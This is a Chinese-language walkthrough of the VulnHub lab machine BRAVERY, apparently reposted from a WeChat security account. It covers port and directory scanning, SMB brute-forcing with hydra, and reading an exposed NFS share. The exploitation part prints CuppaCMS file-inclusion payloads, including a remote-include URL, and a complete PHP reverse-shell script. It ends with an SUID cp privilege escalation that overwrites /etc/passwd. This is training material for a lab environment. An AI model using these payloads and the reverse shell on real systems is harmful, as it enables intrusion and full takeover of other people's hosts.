BRAVERY靶场

admin 2022年7月12日00:55:40评论58 views字数 3417阅读11分23秒阅读模式
BRAVERY靶场

BRAVERY靶场


靶场名称:DIGITALWORLD.LOCAL: BRAVERY

下载地址:https://www.vulnhub.com/entry/digitalworldlocal-bravery,281/

安装过程很简单,为了方便我把网络由NAT改成了桥接模式

主机发现:

arp-scan -l

BRAVERY靶场

端口扫描

nmap -sV -sC -A  -T4  192.168.1.15  -p-

-sV:扫描端口开启的服务-sC:使用默认脚本扫描-A:强力扫描-T4:快速扫描-p-:全端口扫描

端口开放情况如下

22/tcp    open  tcpwrapped53/tcp    open  domain      dnsmasq 2.7680/tcp    open  http        Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)111/tcp   open  rpcbind     2-4 (RPC #100000)139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)443/tcp   open  ssl/http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)2049/tcp  open  nfs_acl     3 (RPC #100227)3306/tcp  open  mysql       MariaDB (unauthorized)8080/tcp  open  http        nginx 1.12.220048/tcp open  mountd      1-3 (RPC #100005)39553/tcp open  nlockmgr    1-4 (RPC #100021)50415/tcp open  status      1 (RPC #100024)

开了http服务,访问一下80,8080端口

BRAVERY靶场

BRAVERY靶场

分别对这两个网站测试,

80端口:使用dirb找一下网站目录

BRAVERY靶场

访问一下相关页面

http://192.168.1.15/8

BRAVERY靶场

http://192.168.1.15/about

BRAVERY靶场

http://192.168.1.15/phpinfo.php

BRAVERY靶场

最后在

http://192.168.1.15/uploads/files/internal/department/procurement/sara/note.txt

中找到一条线索

BRAVERY靶场

网站用了cuppaCMS,之前打靶场碰到过这个CMS有一个文件包含漏洞,但是爆破了一下80没有找到这个CMS页面

80端口页面测试结束找到一条信息

8080页面:

使用dirb找一下网站目录

BRAVERY靶场

关键几条目录是robots.txt以及该页面显示的目录,private,public分别访问一下

http://192.168.1.15:8080/robots.txt

BRAVERY靶场

http://192.168.1.15:8080/cgi-bin

BRAVERY靶场

http://192.168.1.15:8080/qwertyuiop.html

BRAVERY靶场

http://192.168.1.15:8080/private/

BRAVERY靶场

http://192.168.1.15:8080/public/

BRAVERY靶场

在public目录下发现web页面,但是没找到有用的东西,也没发现cuppaCMS页面

Web页面没啥信息,再看一下其他端口

访问一下445端口

BRAVERY靶场

有两个文件夹,其中anonymous可以访问

BRAVERY靶场

里面目录很多,但是没有啥重要的东西,我想把这些名字收集起来做成一个用户名字典,然后用hydra跑一下,结果没跑出来

hydra -L username.txt -P pass.txt smb://192.168.1.15/secured -f   -vv

BRAVERY靶场

又尝试爆破3306和22端口,3306端口不允许外部IP连接22端口有WAF,爆破一会IP就会被封,剩下的端口都没怎么接触过,就在网上一边搜,一边测试,通过下面的文章发现了NFS共享信息泄露漏洞

https://blog.csdn.net/weixin_43486390/article/details/103988021

首先可以使用msf中的辅助模块扫描一下是否存在该漏洞

BRAVERY靶场

也可以使用showmount命令直接查看

BRAVERY靶场

然后使用mount命令将目标目录挂载到本地

mount -t nfs  192.168.1.15:/var/nfsshare ./brave

BRAVERY靶场

BRAVERY靶场

在这些文件中寻找信息,

BRAVERY靶场

BRAVERY靶场

其中在

qwertyuioplkjhgfdsazxcvbnm

中的内容很有意思

BRAVERY靶场

有时候你在寻找的答案就在眼前。

这个文件命名本身就很奇怪,我觉得这应该是某个用户的密码,结合之前的爆破过程这个应该就是smb服务下的secured文件下的某个用户密码,但是hydra爆破不出来,我不知道问什么会这样,在NFS服务中就出现了david这个用户,可能就是它的密码吧

试了试果然是david的密码

BRAVERY靶场

查看这三个文件信息

BRAVERY靶场

BRAVERY靶场

BRAVERY靶场

其中第一个文件夹应该是和这个系列的第一个靶场有关,第二个出现了genevieve这个目录,访问一下

嘿嘿,在80站点成功访问

BRAVERY靶场

在这个页面下找到cuppaCMS的入口

BRAVERY靶场

BRAVERY靶场

这个cms漏洞是在cuppa根目录下的alerts/alertConfigField.php文件中,相关payload

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txthttp://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

分别测试一下本地文件包含,和远程文件包含

BRAVERY靶场

BRAVERY靶场

都没问题,那就在写一个一句话木马,通过python开启一个http服务让他远程包含

BRAVERY靶场

测试一下没有问题

BRAVERY靶场

使用蚁剑连接

BRAVERY靶场

由于蚁剑的虚拟终端不方便,我通过蚁剑在80网站根目录上传一个shell.php文件再反弹一个shell

文件内容如下

<?phpset_time_limit(0);$ip=$_POST['ip'];$port=$_POST['port'];$ip= "192.168.1.12"; //监听地址$port= 8888; //监听ip$fp=@fsockopen($ip,$port,$errno,$errstr);if(!$fp){echo "error";}else{    fputs($fp,"n+++++++++++++connect sucess+++++++++n");    while(!feof($fp)){    fputs($fp,"shell:");    $shell=fgets($fp);    $message=`$shell`;    fputs($fp,$message);    }fclose($fp);}?>

Kali开启监听后只需要通过浏览器访问这个文件就能得到一个shell

BRAVERY靶场

BRAVERY靶场

接下来就是提权了

我这里使用的是suid提权


什么是suid提权可以看下这个文章:

https://www.freebuf.com/articles/web/272617.html

首先执行命令,查看支持suid的命令

find / -perm -u=s -type f 2>/dev/null

BRAVERY靶场

其中cp可以进行suid提权,提权方法是,按照/etc/passwd中的用户格式写一个用户,

root:x:0:0:root:/root:/bin/bash

其中的x换为加密后的密码,比如我们希望密码是12345,那么需要通过撒盐加密然后替换x并写入到目标文件

使用openssl生成密码

openssl passwd -1 -salt salt 123456

-1: md5 加密-salt:指定盐,不指定也行使用默认123456:等待加密的明文密码

BRAVERY靶场

将以上组合成下面的

root:$1$test$at615QShYKduQlx5z9Zm7/:0:0:root:/root:/bin/bash

这里不是交互式shell,还得通过nc反弹一个shell,然后通过

python -c 'import pty;pty.spawn("/bin/sh")'

获取一个交互式shell

BRAVERY靶场

BRAVERY靶场

把上面的字符串先放到一个文件中,然后通过cp复制到/etc/passwd中

BRAVERY靶场

可以看到已经成功了,然后切换到root用户即可

BRAVERY靶场

成功!



原文始发于微信公众号(网安之道):BRAVERY靶场

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月12日00:55:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BRAVERY靶场https://cn-sec.com/archives/1162635.html

发表评论

匿名网友 填写信息